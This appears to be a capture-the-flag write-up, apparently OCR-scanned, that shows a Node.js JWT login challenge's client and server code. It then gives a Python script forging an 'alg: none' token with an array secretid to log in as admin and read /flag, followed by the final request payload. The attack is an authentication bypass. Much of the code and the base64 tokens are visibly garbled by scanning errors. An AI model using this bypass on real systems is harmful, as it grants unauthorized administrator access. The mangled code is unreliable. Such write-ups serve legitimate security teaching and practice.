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function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
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.fail(function(xhr, textStatus, errorThrown) {

alert(xhr.responseJSON.message);
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function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register"”, {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem( 'token', token);
document.location = "/login";
)
.fail(function(xhr, textStatus, errorThrown) {

alert(xhr.responseJSON.message);
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function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';

1)

function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
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https://www.cnblogs.com/wangjiahui/p/12660093.html
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# & controllers/api.js

const crypto = require('crypto');
const fs = require('fs')

const jwt = require('jsonwebtoken')




const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {

const {username, password} = ctx.request.body;

if(!username || username === 'admin'){

throw new APIError('register error', 'wrong username');

if(global.secrets.length > 100000) {
global.secrets = [];

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;

global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token

)

await next();

}s

"POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(lusername || !password) {

throw new APIError('login error', 'username or password is necessary');

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorizat

const sid = JSON.parse(Buffer.from(token.split('."')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {

ctx.session.username = username;

ctx.rest({
status
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await next();
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'GET /api/flag': async (ctx, next) => {

if(ctx.session.username !== "admin'){

throw new APIError('permission error', 'permission denied');

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
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await next();
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'"GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({

status: true

1}

await next();
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username=zhaoxian&password=123&authorization=eyJhbGciOiJIUzI1INiIsInR5cCI6IkpXVCI9.eyIzZWNyZXRpZCI6EMCwidXN1cm5hbW

Ui0iJ6aGFveGlhbiIsInBhc3N3b3JkIjoiMTIzIiwiaWFOIjoxNjQ3MzEXOTM2{Q.camQaQa82cDkFC4KUPjOSrGndaNr_BvcaRqbzScRO1E
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{

“alg”: “HS256",

“typ™: “JWT”

}

{

“secretid™ 0,

“username”; “zhaoxian”,

“password”: “123”,

“iat”: 1647311936

}
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import jwt

token = jwt.encode(

{

"secretid": [],
"username”: "admin",
"password": "123",
"iat": 1647311936
}s
algorithm="none", key=""

)
print(token)
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eyJ0eXAi01JKV1QiLCIhbGci0iJub251In0@.eyJzZWNYyZXRpZCI6W10sInVzZXJuYW11IjoiYWRtaW4ilLCIwYXNzd29yZCI6IjEyMyIsImlhdCI6

MTYONzMXxMTkzNno .
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payload:

username=admin&password=123&authorization=eyJ@eXAi0iJKV1QiLCIhbGciOiJub251In0.eyJzZWNyZXRpZCI6W10SINVZzZXJuYW11I]j

01YWRtaW4ilLCIwYXNzd29yZCI6IjEyMyIsImlhdCI6MTYONzMxMTkzNno.
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